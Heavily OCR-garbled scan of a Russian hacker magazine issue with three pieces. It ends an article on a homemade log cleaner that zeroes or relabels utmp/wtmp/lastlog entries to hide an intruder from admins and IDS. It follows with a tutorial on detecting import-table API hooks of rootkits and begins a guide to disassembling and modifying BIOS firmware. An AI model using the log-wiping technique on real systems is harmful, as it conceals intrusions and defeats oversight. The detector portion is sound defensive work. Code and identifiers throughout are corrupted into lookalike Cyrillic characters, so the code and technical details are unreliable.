производится по имени пользователя, В полноценной утилите так- 
же неплохо сделать поиск по названию удаленного хоста и име- 
ни терминала. Основным кодом в функции с1еас1_и\л/Ттр() является 
следующий участок: 

ѵѵРііІе (геас1((с1, &роз, сіізі) == сіізі) 

{ 

і[ (!з1гпстр(роз.и1_пате, пате_агд, зІ 2 ео[(роз.и(_пате))) 

{ 

Ьгего(&роз, (Тізі); 

і[ (Ізеек((сІ, -сІізІ, ЗЕЕК_СЫР) != -1) 
ѵѵгііе (М, &роз, (Тізі); 

} 

} 

Рде роз определено как зТгисТ иТтр роз, а сІізТ = зІ 2 еоТ(зТгисТ иТтр). 
Здесь последовательно считываются структуры из файла с помо- 
щью геасІО, и как только обнаруживается совпадение с именем 
пользователя (иТ_пате), подготавливается чистая структура, це- 
ликом заполненная нулями при помощи ЬгегоО. Чистая структура 
записывается на место существующей функцией \л/гіРе(), для чего 
на начало модифицируемой структуры предварительно устана- 
вливается файловый указатель с помощью 1зеек(). 



Как видишь, программа довольно проста и в совокупности зани- 
мает всего около 80 строк. В одном архиве с этим клипером я по- 
лох<ил пример еще одного самодельного клинера, который скры- 
вает хакера от утилит \л/, \л/1яо и Іазф но при этом не затирает нуля- 
ми структуру и1тпр, Я заметил, что достаточно поменять тип записи 
иМуре с иЗЕР_РРОСЕЗЗ на ОЕАО_РРОСЕЗЗ, как администратор- 
ские утилиты перестанут отображать такую запись на экране. 
Этот способ хорош тем, что затрудняет обнаружение изменений 
с помощью различных ЮЗ, К сожалению, не во всех системах 
структура иітр имеет поле иМуре, но в Еіпих (в отличие от Еге- 
еВЗО) она точно есть. 

[специализированные функции для редактирования логов] В на- 
шем самопальном клинере я использую стандартный способ 
модификации бинарных логов с помощью Си-функций геасІО, 
ѵ^гіІеО и пр. Но для работы с файлом и1тпр существуют спе- 
циализированные функции. Например, функция зеЕиЕегтІ'О 
устанавливает указатель на начало файла и1тпр; деІи+епК) 
считывает строку, начиная с текущей позиции файла иЕтр; 
деІиІісІО производит прямой поиск, начиная с текущей пози- 
ции; ри+и+НпеО записывает структуру иітр иЕ в файл и1тпр и 
т.д. Подробнее с ними ты сможешь ознакомиться в тап, там 
же присутствует демонстрационный код. С другой стороны, 
ничего неизвестно о специализированных функциях для рабо- 
ты с ІазІІод, поэтому с этим логом все равно придется рабо- 
тать дедовскими методами. 

Вот и все. Теперь ты достаточно подготовлен, чтобы побороть та- 
ких хитрых бестий, как бинарные логи иТтр, ѵИтпр и ІазТІод 



[другие бинарные логи] 

Согласно стандарту Р05ІХ, помимо структуры иТппр 
существует более современная структура иТтрх. 

Она обладает расширенными и дополнительными 
полями. Хранится в соответствующих файлах 
/ѵаг/*/иІппрх и /ѵаг/*/ѵѵТтрх. В статье мы эту структуру 
не рассматриваем, так как она пока не получила 
широкого распространения в *піх-системах. Хотя не- 
которые клинеры предусматривают очистку этих ло- 
гов, например клинер ОГѴѴ (ѵѵѵѵѵѵ.раскеізіогтзесигі- 
(у.пі). Известен еще один бинарный лог-файл 
/ѵаг/Іод/Ытр, в который сохраняется информация 
о неудачных попытках входа пользователей в систе- 
му. С ним работает команда ІазІЬ, подобная коман- 
де Іазі. Обычно по умолчанию файл Ыппр в системе 
отсутствует, поэтому, чтобы осуществлялось 
журналирование, его нужно сначала создать. Я не 
встречал ни одного клинера, который бы очищал 
этот лог-файл. 
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Охота на ведьм 

в ПОСЛЕДНЕЕ ВРЕМЯ 8ТЕАЕТН-ТЕХНОЛОГИИ 
СТАЛИ НА ПОРЯДОК БОЛЕЕ ПОПУЛЯРНЫ, 

ЧЕМ, СКАЖЕМ, ГОДА ДВА НАЗАД. СЕЙЧАС 
ТОЛЬКО ЛЕНИВЫЙ ТРОЯНМЕЙКЕР НЕ ДОБА- 
ВИТ В СВОЕ ДЕТИЩЕ МОДУЛЬ, СКРЫВАЮ- 
ЩИЙ ОТ ЛИШНИХ ГЛАЗ ЕГО ФАЙЛЫ, ПРОЦЕС- 
СЫ ИЛИ ЗАПИСИ В РЕЕСТРЕ. ДАЖЕ Я ПРИЛО- 
ЖИЛ СВОЮ РУКУ К РАЗРАБОТКЕ ЗТЕАІТН’А, 
ПРОСТЕНЬКОГО, КОНЕЧНО, НО РАБОТАЮЩЕ- 
ГО. И ТЕПЕРЬ Я ХОЧУ ПОКАЗАТЬ, КАК НАПИ- 
САТЬ ПРОГРАММУ ДЛЯ ОБНАРУЖЕНИЯ ПО- 
ДОБНОГО ИЛИ БОЛЕЕ КРУТОГО ЗТЕАЕТН’А В 
СИСТЕМЕ. ОКАЗЫВАЕТСЯ, ЭТО НЕ ОЧЕНЬ 

СЛОЖНО I Николой «ѲогІиМ» Андреев (дог1ит@гео1. хакер. т) 

Пишем программу для 
обнаружения руткита 
в ѵѵіпсіоѵѵз-системе 

Раньше для того, чтобы поймать у себя на 
компьютере троян, достаточно было тща- 
тельно проверить реестр и посмотреть по- 
следние модифицированные файлы в си- 
стемной директории зуз1'ет32, где обычно 




Интересно, почему всякие 
АВП и прочие аверы до сих 
пор не детектируют про- 
граммы со вІеаПі)-модупя- 
ми? Ведь ничего не стоит 
написать простенький ре- 
зидентный монитор для 
ловли абсолютно любых 
невидимок. 



т 



живут эти твари, однако сей- 
час этот метод уже не актуа- 
лен. Современные трояны вов- 
сю обзаводятся з+еаІІ'Іп-моду- 
лями, которые делают такой 
мануальный подход абсолют- 
но бесполезным. Хакеров, ко- 
нечно, такая ситуация очень 
радует, так как время, через 
которое их программы попа- 
дают в антивирусные базы, 
увеличивается. Пользователям 
же нет покоя. Ты только пред- 
ставь, что должен чувствовать 
юзер, если он знает, что в его 
системе есть троян (трафик 
льется, пароли не работают, с 
кредитки утекают деньги), но 
ни ручной, ни автоматический 
поиск ничего не дают. В об- 
щем, хреново ему будет, поверь. Но мы его не бросим — мы же 
кодеры! Все программы должны нас бояться, в том числе и ха- 
керские. Мы разработаем свой детектор, который будет фикси- 
ровать всякие аномалии в системе и даже, возможно, от них из- 
бавляться, делая невидимые программы очень даже видимыми. 
Хитрость в том, что большинство зІеаКГі-технологий основано на 
одном и том же принципе, известном уже много лет, — на перех- 
вате. Раньше это был перехват прерываний, теперь это перехват 
АРІ, За этот принцип мы и будем пытаться ухватиться. Мы напишем 
программу, которая будет засекать, ну, для начала перехват АРІ 
методом модифицирования таблицы импорта. Это, наверное, са- 
мый популярный и хорошо освещенный в литературе метод. Нач- 
нем с его обнаружения, ну а дальше посмотрим — может, еще че- 
му-нибудь нашу программку научим. 




На диске к журналу ты об- 
наружишь пример програм- 
мы детектора и новую мо- 
дифицированную версию 
программы-невидимки. 

Оеіоигз-перехват живет вот 
тут: Шр://гезеагсб.тісго- 
зоП.сот/зп/беІоигз. 



[основная идея] Для того чтобы понять, как обнаружить програм- 
му-невидимку (или руткит, если хочешь) на базе перехвата АРІ ме- 
тодом модифицирования таблицы импорта, надо для начала 




[утилита АѴ2 на момент написания статьи умела 
убивать простые изег тосіе перехваты АРІ] 



нельзя и придется написать собственный аналог, который перех- 
ватывать никто не станет и не сможет. Что ж, с основной идеей ра- 
зобрались, можно начинать кодить. 

[кодим помаленьку] Перечислить все модули определенного про- 
цесса (в данном случае нашего) можно тучей разных способов: 
тут и библиотека рзарі сгодится, и даже сама МЮиегуЗуз+етІпТог- 
та+іоп. Я, правда, привык пользоваться ТооІНеІр-функциями. Они 
удобные, если приноровиться их юзать. Сначала получаешь сни- 
мок нужной тебе системной информации с помощью Сгеа+еТо- 
оІІтеІр323парзІіо1', а затем бегаешь по нему с помощью Мосіи- 
Іе32Рігз1'\МосіиІе32Ыех1' или аналогов. К примеру, чтобы выполнить 
функцию Тез) для каждого хэндла модуля текущего процесса (на- 
шего детектора), нужно написать вот такой несложный код: 



вспомнить, как она работает. Я сказал 
«вспомнить», потому что я уже писал о по- 
добном зТеаІТІі-механизме в мартовском 
номере «Хакера». 

Итак, невидимка внедряет свой код в каж- 
дый процесс, перечисляет в них все ис- 
пользуемые модули (то есть подгруженные 
□II) и в каждом модуле ищет по имени в та- 
блице импорта функции, ответственные за 
вывод той или иной системной информа- 
ции. Когда невидимка найдет нужную за- 
пись в таблице, она просто заменит в ней 
адрес функции. Именно эту подмену и 
можно обнаружить. Как? Легко! Достаточ- 
но пройтись по таблице импорта и прове- 
рить соответствие имен функций их настоя- 
щим адресам. Делается это элементар- 
но, ведь, зная имя функции, найти ее ориги- 
нальный, подлинный адрес не составит 
труда — вызова чего-нибудь вроде Ѳе+Рго- 
сАсісІгезз хватит. Ну а поскольку невидимка 
перехватывает одни и те же функции в каж- 
дом процессе, то она и нас не обойдет 
стороной, следовательно, на- 

© шпосмагеввЕх — это шему детектору будет доста- 
не стандартная функция точно проверить только табли- 
для поиска, а ее аналог, цу импорта себя и своих моду- 
лей, чтобы с уверенностью 
сказать, есть ли в системе рут- 
кит, работающий по рассмо- 
тренной выше схеме. Как ви- 
дишь, наметился некоторый 
алгоритм детектирования: 

0] перечисляем все модули нашей программы; 

[Ц в ка>кдом модуле ищем таблицу импорта; 

Ц] с помощью Ѳе+РгосАсісІгезз проверяем правильность каждого 
адреса функций в таблице; 

И если адрес, возвращенный Ѳе+РгосАсІсІгезз (или ее аналогом), 
и адрес, взятый из таблицы, не совпали — громко орем и выводим 
на экран всю возможную информацию (о лечении я пока молчу, 
ибо бесполезно лечить одну только нашу программу). 

Правда, есть небольшой нюанс, Ое+РгосАсісІгезз, возвращающая 
адрес функции по ее имени и хэндлу модуля, тоже может быть пе- 
рехвачена (даже не может, а обязана). А это значит, доверять ей 




веІРтосАдбтеввЕх — это 
не стандартная функция 
для поиска, а ее аналог, 
реализованный специаль- 
но для внутреннего ис- 
пользования в нашем де- 
текторе (ее сорец можешь 
найти на диске). 




[бдительный ѴІСЕ нашел кучу перехватов, хотя это просто (огѵѵагбесі-функции] 



МООиіЕЕМТПѴ32 те = {бІ 2 ео((те)}; 

НАЫОІЕ т_3пар = Сгеа1еТооІ!іеІр323парзІто1( 
ТН32СЗ_ЗМАРМ00иіЕ, СеЮиггепІРгосеззісІО); 

I) (т_3пар == ІМѴАІЮ_НАМОІЕ_ѴАШЕ) геГигп; 

I) (!Мос[иІе32Рігз1(т_Зпар, &те)) геШгп; 

бо ТезІ(те.!іМосІиІе); 

ѵѵНІІе (МосІиІе32Мех1(т_Зпар, &те)); 

СІозеНапсІІе(т_Зпар); 

Функция Тез) — это второй, третий и четвертый шаги нашего алгорит- 
ма. В ней мы должны найти таблицу импорта и проверить подлин- 
ность каждой записи. Но, как ты понимаешь, для работы с таблицей 
надо знать ее формат. Он уже описывался всеми, кем только мож- 
но, и отыскать в Сети подробный мануал тебе труда не составит 
(тазт.ги, к примеру, располагает подобной информацией). 
Разобравшись с форматом таблицы импорта и вообще с РЕ (я не 
знаю, как можно программировать под ѵуіпсіоѵуз без таких основ), 
можно приступить к кодингу нашей функции Тез). Первое, что она дол- 
жна сделать, — найти импорт в модуле, чей хэндл был передан ей в 
единственном параметре. Осуществить это можно двумя способами: 
0] с помощью функции библиотеки ітадеііір, сразу возвращаю- 
щей нужный нам указатель на первую структуру таблицы: 

Р1МА6Е_1МР0НТ_0ЕЗСР11РТ0П рІтрогЮезс = 
(Р1МА8Е_1МР0ВТ_0ЕЗСП1РТ0Р1) 
ітадеОігес1огуЕп(гуТоОа1а()іМосІиІе, 
ТПиЕ,ІМАѲЕ_ОІЯЕСТОРІѴ_ЕМТРУ_ІМРОРІТ, &иІЗІ 2 е); 

Ш вручную, покопавшись в РЕ-заголовках модуля. Хэндл модуля — 
это указатель на первый байт образа библиотеки, загруженной в 
адресное пространство процесса. Мы без проблем можем най- 
ти все необходимые данные: 

// хэндл = указатель на 003-заголовок 

Р1МА8Е_003_НЕА0ЕР рОозНеасІег = (Р1МА0Е_003_НЕА0ЕР) 
ИМосіиІе; 

// лолучаю указатель на РЕ-заголовок, 

// суммируя хэндл и смещение в 003-заголовке 
// МакеРІг — это лросто сумма с кастом 
Р1МАСЕ_МТ_НЕАОЕРЗ рЫТНеасІегз = МакеР(г( 
Р1МАОЕ_ЫТ_НЕАОЕРЗ, ТіМосіиІе, рОозНеас1ег->е_1(апе\л/); 

// и из ОрІіопаІНеасіег я уже лолучаю виртуальный 
// адрес нашей таблицы 

Р1МАСЕ_1МРОРТ_ОЕЗСР1РТОР рІтроПОезс = МакеР(г( 
Р1МАОЕ_1МРОРТ_ОЕЗСР1РТОР, 

ИМобиІе, рМТНеасІегз->Ор1іопаІНеасІег.Оа1аОігес(огу 
[ІМА0Е_0ІРЕСТ0РУ_ЕМТРѴ_ІМР0РТ].ѴІгІиаІАсІс[гезз); 

Если ты разобрался с форматом РЕ, то уже должен понять, что ріт- 
рог)Оезс — это указатель на первую структуру 1МА0Е_1М- 
РОРТ_ОЕ8СР1РТОР в таблице импорта. Следом за первой может 
следовать вторая, третья и т.п. Каждая структура соответствует ка- 
кой-нибудь статически прилинкованной библиотеке (к примеру, 
кегпе132.с111) и содержит в себе несколько очень важных для нашей 
дальнейшей работы параметров: смещение имени модуля (Ма- 
те), смещение таблицы адресов имен функций (ОгідіпаІЕІгз)Т)іипк) 
и смещение таблицы адресов функций (Еігз)Т)іипк). Как раз эти две 
таблицы и играют главную роль в определении перехвата. 

Мы берем элемент из первой таблицы, имя функции вместе с именем 
модуля из структуры ІМАѲЕ_ІМРОІ?Т_ОЕЗСІ?ІРТОІ? и передаем в пара- 



[хакер 06 [78] 05 > КОДИНГ 105 ] 
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[проба пера, функция ОеІРгосАсІсігезз, работающая с любым адресным пространством] 



метрах нашей Ѳе+РгосАсІсІгеззЕх. Возвращенное значение, то есть 
подлинный адрес функции с таким-то именем, мы сравниваем с со- 
ответствующим элементом второй таблицы, проверяемым адресом. 
Если вдруг они не совпали, то знай — имеет место быть перехват. 

В коде вся нехитрая проверка таблицы выглядит так; 

[проверка подлинности таблицы импорта] 

ѵѵбііе (р1трогЮе5с->Мате) { 

// имя модуля 

сИаг * 82 МобМаппе = МакеР(г(ЕРЗТВ, ЕіМосІиІе, р1трог10езс->Мате); 
// указатель на массив указателей на имена функций... во как 
Р1МАеЕ_ТНиМК_0АТА рМатезТаЫе = МакеР(г( 

Р1МАСЕ_ТНЕ1МК_0АТА, ИМобиІе, рІтрогЮе5С->ОгідіпаІРІгз(Т(іипк); 
// то же самое, только с адресами 
Р1МАСЕ_ТНиЫК_0АТА рТбцпк = МакеР1г( 

РІМАѲЕ_ТНиМК_ОАТА, (тМосІиІе, рІтрогЮе5с->Рігз1Тбипк); 

\л/ЕііІе (рТбцпк->и1 .Рцпсііоп) { 

// проверяем, задана ли функция именем или не ординатой 
і( (!(рМатезТаЫе->и1 .ОгсІіпаІ&ОхвООООООО)) { 

// получаем имя функции 
Р1МАСЕ_1МРОР1Т_ВУ_МАМЕ рМате = МакеР1г( 
Р1МАСЕ_1МРОВТ_ВУ_МАМЕ, ИМобиІе, 
рМатезТаЫе->и1 .АббгеззОЮаІа); 

// оригинальный адрес 
ОѴѴОВО ( = (ОѴѴОРО) СеІРгосАбсІгеззЕх ( 
Се(МобиІеРІапбІе( 82 МосІМате), (РЗТР)&рМате->Мате); 
і! (( != рТбипк->и1 .Рипс(іоп) // сравниваем 

Еггог((РЗТР)&рМате->Ыате, рТбипк->ц1 .Рипс(іоп); 

} еізе { 

ОѴѴОРО ( = (ОѴѴОРО)ее1РгосАбсІгеззЕх( 
Се(МобиІеРІапбІе( 82 МосІМате), 

МАКЕІМТРЕЗООРСЕ(((рМатезТаЫе->и1 .ОгсііпаІ)«1 6)»1 6) 

); 

і! (( != рТбипк->ц1 .Рипс(іоп) // сравниваем 

Еггог((РЗТР)&рМате->Ыате, рТбипк->ц1 .Рипс(іоп); 

} 

рМатезТаЫе-н-; 

рТбцпк+ч-; 

} 

рІтрог(Оезсч-н; 

} 



а потом и вовсе удалить надоедливую программу-не- 
видимку (это при условии, что перехватчик внедрялся 
в виде библиотеки). 

[глобальное лечение] Мы разобрались с тем, как за- 
сечь перехват; теперь надо понять, как его вылечить, 
чтобы увидеть все скрытые в системе записи. Сделать 
это в рамках одного-единственного нашего процесса 
очень просто: вместо вывода ошибки напиши «рТІпипк- 
>и1.Еипс1'іоп = Ь>, и найденный нами подлинный адрес 
функции запишется поверх поддельного в таблице. Вы- 
лечить же от перехвата не только наш процесс, но и 
всю систему будет уже посложнее. Тут надо либо вне- 
дрять код нашего детектора в ка>кдый процесс и пусть 
он там наводит марафет, либо манипулировать функ- 
циями ѴѴгіТеРгосеззМетогу и РеасІРгосеззМетогу, что- 
бы без внедрения кода получить таблицу импорта, про- 
анализировать ее и вылечить. Но, честно тебе скажу, инжект рабо- 
тает на порядок быстрее. Постоянные межпроцессные обраще- 
ния сильно грузят камень, и сканирование системы может затя- 
нуться на минуты! Так что, для того чтобы вылечить от перехвата АРІ 
методом модифицирования таблицы импорта всю систему, надо 
всего лишь чуток подправить функцию ТезТ и инжектировать ее уже 
описанным мною способом по все процессы. Как минимум поло- 
вина руткитов сразу станет видной, ну а что делать с остальными? 

// получение 003-заголовка модуля чужого процесса 

1МА6Е_0ОЗ_НЕА0ЕП гОозНеасІег; 

Пеас1РгосеззМеппогу(т_ИРгосезз, ТіМосІиІе, (ІРѴО!0)&г0озНеабег, 
зІ2ео((ІМАѲЕ_003_НЕАОЕЕі), &с1\л/Ву(ез); 

[альтернативный перехват] Как ты, конечно, понимаешь, модифи- 
цирование импорта — хоть и популярный, но не единственный 
способ перехвата АРІ. Реже, возможно, из-за сложности реали- 
зации, используют перехват подменой кода (есть отличное гото- 
вое решение — библиотека Оеіоигз от МісгозоП"). В этом методе 
таблицу импорта не трогают, а модифицируют только саму перех- 
ватываемую функцию, впатчивая ей в начало безусловный пере- 
ход (]тр) на перехватчик, который запускает оригинал (либо ко- 
пируя функцию целиком, либо восстанавливая первые байты, по- 
верх которых был впатчен джамп) и фильтрует его вывод. Мне этот 
способ перехвата очень понравился, и я уже переделал свою не- 
видимку под него, так что на диске можешь взять новую версию. 
Чем он так хорош? ЕІу хотя бы тем, что качество невидимости не 
будет страдать оттого, что таблица импорта основного модуля 
одной из обрабатываемых программ по каким-нибудь причинам 
попорчена — например, защита стоит. Его волнует только тот мо- 
дуль, в котором лежит перехватываемая функция, и с ним обычно 
никаких проблем не возникает. 

Засечь подобный метод будет непросто, вылечить — сложно. 
Чтобы наша программа научилась детектировать бе+оигз-Нке перех- 
ват, надо заставить ее проверять первые байты 1<А>КДОЙ экспорти- 
руемой или импортируемой функции на предмет]тр и подобных ин- 
струкций. Вылечить же функцию с безусловным переходом в начале 
можно, только зная, какие на месте этого джампа должны быть бай- 
ты. А для этого надо открыть файл модуля, лежащий на диске, и най- 
ти там эту еще не попорченную функцию, чтобы взять оттуда ориги- 
нальное начало. Нелегко, но реализовать можно. Печально только 
то, что тормозить такая проверка будет — это точно. 



Функция Еггог должна отчаянно орать и ругаться, что, мол, обнаружен 
перехват такой-то АРІ. Но одним только выводом имени АРІ ограничи- 
ваться нельзя — оно нам никак не поможет засечь перехватчик. Для 
того чтобы иметь возможность уничтожить зверя, нам нужно узнать, в 
каком модуле живет зЕеоІІ'Іп, а не кого перехватывает. Тут нам приго- 
дится функция, написанная когда-то господином Рихтером и позво- 
ляющая узнать, какому модулю принадлежит тот или иной адрес: 

НМООиіЕ МосІиІеРготАсІсІгеззЕх(РѴОЮ рѵ) { 
МЕМОРѴ_ВАЗІС_ІМРОРМАТІОМ тЫ; 
ге1игп((Ѵіг(иаЮиегу( рѵ, &тЫ, зІ 2 ео?(тЫ)) != 0) 

? (НМООУЕЕ) тЫ.АІІосаІіопВазе : НУЕЕ); 

} 

Такая классная штука вернет хэндл модуля, в котором обитает 
функция-перехватчик, если скормить ей адрес поддельной функ- 
ции из таблицы. А по хэндлу можно уже определить и имя модуля. 



[кое-что о гіпдО] Ну и последнее, о чем я хочу вспомнить в этом мате- 
риале, — режим ядра. КегпеІ-руткит — более редкое явление, чем 
обычный изег тосіе представитель, и более страшное. Обнаружить 
программу с грамотной ядерной зТеаІТТі-технологией бывает очень 
сложно, а порой и вовсе невозможно. Если что-нибудь и выдает рутки- 
ты в гіпдО — то это снова перехват АРІ. В ядре он реализуется путем 
подмены записей в ЗОТ, Чтобы обнаружить его, достаточно получить 
оригинал таблицы (читай об этом в статье 90210 на илѵѵѵ.гооМ.сот) и 
проверить подлинность всех записей. Однако надо признать, реали- 
зуется это не вдруг. Надо лезть в ядро, а это, как правило, значит пи- 
сать драйвер. Не ка>кдый возьмется. Автор утилиты ѴІСЕ, руткит-детек- 
тора вроде нашего, взялся, и теперь его программа без проблем 
фиксирует перехват функций в кегпеі тосіе. Правда, не лечит. 

Как видишь, простор для действий большой, еще никто не напи- 
сал нормальной программы, которая бы умела не только засе- 
кать, но и убивать ВСЕ невидимки по каким-то их характерным осо- 
бенностям вроде перехвата. У тебя есть шанс быть первым @ 



ЮНИТЫ КРЕАТИФФ [КОДИНГ] УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС_20МЕ РЕВВУМ НЬЮСЫ 

(АЗЗЕМВІЕІ?) 





Изучаем ВІ08 
и учимся его 
модифицировать 



0 ^ ели ПРОЦЕССОР — 

это СЕРДЦЕ КОМПЬЮ- 
ТЕРА, ТО ВІ08 — ЕГО 
ДУША. ВОЗМОЖНОСТИ, ОТК- 
РЫВАЮЩИЕСЯ ПРИ ВНЕДРЕ- 
НИИ В ВІ08 СОБСТВЕННОГО 
МОДУЛЯ, ПОТРЯСАЮТ. МОЖ- 
НО, НАПРИМЕР, НАПИСАТЬ 
КОД, ЗАЩИЩАЮЩИЙ КОМПЬ- 
ЮТЕР ОТ ВТОРЖЕНИЯ, КОТО- 
РЫЙ НЕ УБИВАЕМ ОБЫЧНЫМ 
ЗАМЫКАНИЕМ БАТАРЕЙКИ, 
МОЖНО ВОЕВАТЬ С АНТИВИ- 
РУСАМИ НА САМОМ НИЗКОМ 
УРОВНЕ ИЛИ РАЗБЛОКИРО- 
ВАТЬ СКРЫТЫЕ ВОЗМОЖНОС- 
ТИ И РАЗОГНАТЬ КОМПЬЮТЕР 
ДО СВЕРХСВЕТОВЫХ СКОРОС- 
ТЕЙ - В ВЮЗ’Е ВОЗМОЖНО 
ВСЕ. ОДНАКО МОДИФИКАЦИЯ 
ПРОШИВКИ — это высший 
ПИЛОТАЖ ХАКЕРСТВА, ТРЕБУ- 
ЮЩИЙ ЗНАНИЯ ЖЕЛЕЗА И 
УМЕНИЯ ДЕРЖАТЬ ДИЗАССЕ- 
МБЛЕР В РУКАХ. ЭТО ДРЕМУ- 
ЧИЙ ЛЕС, В КОТОРОМ ОЧЕНЬ 
ЛЕГКО ЗАБЛУДИТЬСЯ, - Я ПО- 
КАЖУ КРАТЧАЙШИЙ ПУТЬ I 

Крис Косперски ока мыщъх (РгееВ50@5гп1‘р.ги) 





\ I / Ни автор, ни редакция не не- [чтонампонадо6ится]Дляэкспе- 

• сут ответственности за воз- риментов нам потребуется мате- 

можную поломку компьюте- римская плата с Р^АЗН-ВIОЗ'ом на 
^ ^ ра вследствие экспериментов борту . Он может быть любым. 

его владельца над ВЮЗ ом. Главным образом мы будет гово- 
рить об А\л/агс1'е, как самом пра- 

• Описанные в статье вильном и популярном ВІОЗ'е, од- 

утилиты, прошивки и нако владельцы всех остальных 
исходные коды ты сможешь тоже не останутся в стороне. Для 
взять на диске, них мы приготовили универсаль- 

прилатающемся к журналу, ный способ внедрения, работа- 
ющий вообще со всеми ВІОЗ'ами! 
Опознать микросхему ВІОЗ'а очень легко — на ней обычно наклеена 
голографическая этикетка, которую необходимо оторвать, чтобы об- 
нажить маркировку. Маркировка представляет длинный ряд цифр 
наподобие 28Р1000РРС-12С4. Идем на ѵтт/.сіаіазііееіагсігііѵе.сот, 
заполняем строку запроса и получаем рсІГ-файл с подробным опи- 
санием чипа (так называемый сІаГазГіееГ). Теперь необходимо найти 
идентичный или совместимый чип РІАЗРІ-памяти, над которым мы, 
собственно, и будем экспериментировать. Его можно купить на ра- 
диорынке или вытащить с поломанной матери. 

Для горячей замены ВІОЗ'а (то есть выдергивания микросхемы с 
работающей платы) русские обвязывают микросхему нитками, а 
вот иностранцы после эпидемии чиха придумали специальные 
приспособления — сГіір ехТгасТог (съемщик чипов) и ВІОЗ заѵ- 
іоиг (ВЮЗ-спаситель). Приобрести их можно в продвинутых ради- 
омагазинах или заказать по интернету. Они очень понадобятся 
при постоянных экспериментах. 

Таіоке нам потребуется документация на чипсет материнской 
платы. Компании ІпГеІ и АМО бесплатно выкладывают все даташи- 
ты на сайт. Другие же производители (ѴІА, ЗІЗ) держат их под спу- 
дом, поэтому придется изрядно попыхтеть, пре>кде чем удастся 
что-то нарыть. 



[как мы будем действовать] Модификация ВІОЗ'а — очень риско- 
ванное занятие (только для сильных духом мужчин!). Малейшая 
ошибка — и система отказывается загружаться, выдавая унылый 
экран, черный, как южное небо. Большинство современных мате- 
рей снабжены защитами от неудачных прошивок, однако они 
срабатывают лишь тогда, когда ВІОЗ действительно поврежден, а 
против ошибок в коде прошивки они бессильны. 

Вот для этих целей нам и требуется второй ВІОЗ. Запускаем мате- 
ринскую плату, дампим прошивку (или скачиваем обновленную 
версию с сайта производителя), модифицируем ее по своему 
вкусу, затем, не выключая компьютера (!), аккуратно вынимаем 
оригинальный чип, откладывая его в сторону, вставляем чип, над 
которым мы будем экспериментировать, и, запустив прошиваль- 
щик, заливаем хакнутую прошивку в ВІОЗ. Теперь, случись вдруг 
чего, мы всегда сможем вернуть оригинальный чип на место, исп- 
равить ошибку и перешить экспериментальный ВІОЗ вновь. 
Насколько такая процедура безопасна? По правде говоря, 
опасности нас подстерегают на ка>кдом шагу. Микросхема мо- 
жет выскользнуть из рук и упасть на плату, малейшая ошибка в 
прошивке может вывести оборудование из строя (например не- 
чаянно задрать напряжение или тактовую частоту). До приобре- 
тения боевого опыта лучше всего насиловать старые материнс- 
кие платы, которые все равно идут в утиль. 



[вскрытие ВІОЗ'а] Чтобы модифицировать ВІОЗ, необходимо знать 
его структуру, повадки и т.п, В древних АТ весь ВІОЗ умещался в 
последнем сегменте адресного пространства, простилающем- 
ся от РОООЮООО до РОООіРРРР. Современные прошивки занимают 
порядка 256-512 Кб, и чтобы обеспечить обратную совмести- 
мость, ВІОЗ пришлось разбить на несколько частей, в результате 
чего он приобрел сложную модульную структуру, с которой не 
так-то просто разобраться. 

Но мы же не боимся трудностей, верно? Вот перед нами лежит 
прошивка (пусть для определенности это будет прошивка 
06/19/2003-І845РЕ-ѴѴ83627-9А69ѴРА1С-00 с именем файла 
4РЕ83619.ВІМ). Как ее дизассемблировать?! ЮА едет крышей и ни- 
чего путного не показывает, пока мы ее не научим. 

Будем исходить из того, что последний байт прошивки располо- 
жен по адресу Р0001п:ЕЕРЕ1п, а точка входа в ВІОЗ находится по ад- 
ресу Р000Іі:РРР0Іі. 

Загружаем файл в НІЕѴѴ или ИД'У, отсчитываем ЮН байт от его кон- 
ца и дизассемблируем код. С вероятностью, близкой к единице, 
там будет торчать межсегментный переход: 



[НЕХ-дамп последних 305 байт прошивки (байты инструкции, рас- 
положенной в точке входа, выделены] 

0007РРО0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00 
0007РРЕ0: 00 00 00 00-00 00 00 00-39 41 36 39-56 50 41 31 
0007РРР0: ЕА 5В ЕО ОО-РО 2А 40 52-42 2А 02 00-00 00 60 РР 

[дизассемблерный листинг окрестностей точки входа в прошивку] 

0007РРР0: ЕА5ВЕ000Р0 ]тр 0Р000:0Е05В 

0007РРР5: 2А4052 зиЬ СІ, [с11][00052] 

В данном случае переход указывает на адрес Р000Іі:Е05ВІп. Как 
найти это место в прошивке? Да проще простого: если 7РРР0Б - 
это Р000Рі:РРР0Іт, то 0Р000Б:0Е05В1т - это: 7РРР0І1 - (РРРОБ - Е05ВІТ) == 
7РРР0ІП - 1Р95ІП = 7Е05ВІ1. Здесь расположен следующий код: 



[начало дизассемблирования Ьооі-блока] 



0007Е05В: ЕА60Е000Р0 


]тр 


0Р000ЮЕ060 


0007Е060: 8ЕЕА 


тоѵ 


дз, СІХ 


0007Е062: РА 


СІІ 




0007Е063: РС 


СІСІ 




0007Е064: 8СС8 


тоѵ 


ах, сз 


0007Е066: 8ЕОО 


тоѵ 


33, ах 



Место, в которое мы попали, называется загрузочным блоком 
(Ьооі-Ыоск или Ьооі-кегпеі). Этот блок, предельно допустимый 
размер которого составляет 64 Кб, выполняет первичную иници- 
ализацию оборудования и загружает все остальные блоки, хра- 
нящиеся в упакованном виде. 

Естественно, перед дизассемблированием остальных блоков их 
необходимо распаковать. Нормальный распаковщик можно на- 
писать и самостоятельно, однако проще взять уже готовый и авто- 
матически извлечь все модули. В частности, обладатели А\л/агс1'а 
могут запустить утилиту сЬгот с ключом /О (или Ьр.ехе с ключом 
/е), чтобы узнать, из каких блоков состоит данная версия ВІОЗ и по 
каким адресам они располагаются. 

В нашем случае картина будет выглядеть, как на скриншоте. 
Первым в списке модулей идет 9а69ѵра1,ВIN (огідіпаі.ітр). Ос- 
новной код ВІОЗ'а сосредоточен именно здесь. Как мы видим, 
огідіпаі.ітр загружается по адресу 50001і:00001і и занимает 128 
Кб. Да-да, ВІОЗ загружается в оперативную память, впрочем, на- 
долго он в ней не задерживается и перед передачей управления 
загрузочному сектору (на винчестерах это МВІ?, на дискетах — 
Ьооі) обязан освободить эти адреса. 

Следом идет а\л/агс1ех1.гот (АЕТ рагі). Это расширение основно- 
го ВІОЗ'а, которое инициализирует оборудование на финальной 
стадии загрузки (детектирует жесткие диски и оптические приво- 
ды, выводит таблицу РпР/РСІ-устройств и т.д.), а в модуле 
а\л/агс1еу1.гот (А1Т_2 рагі) содержится его продолжение. 
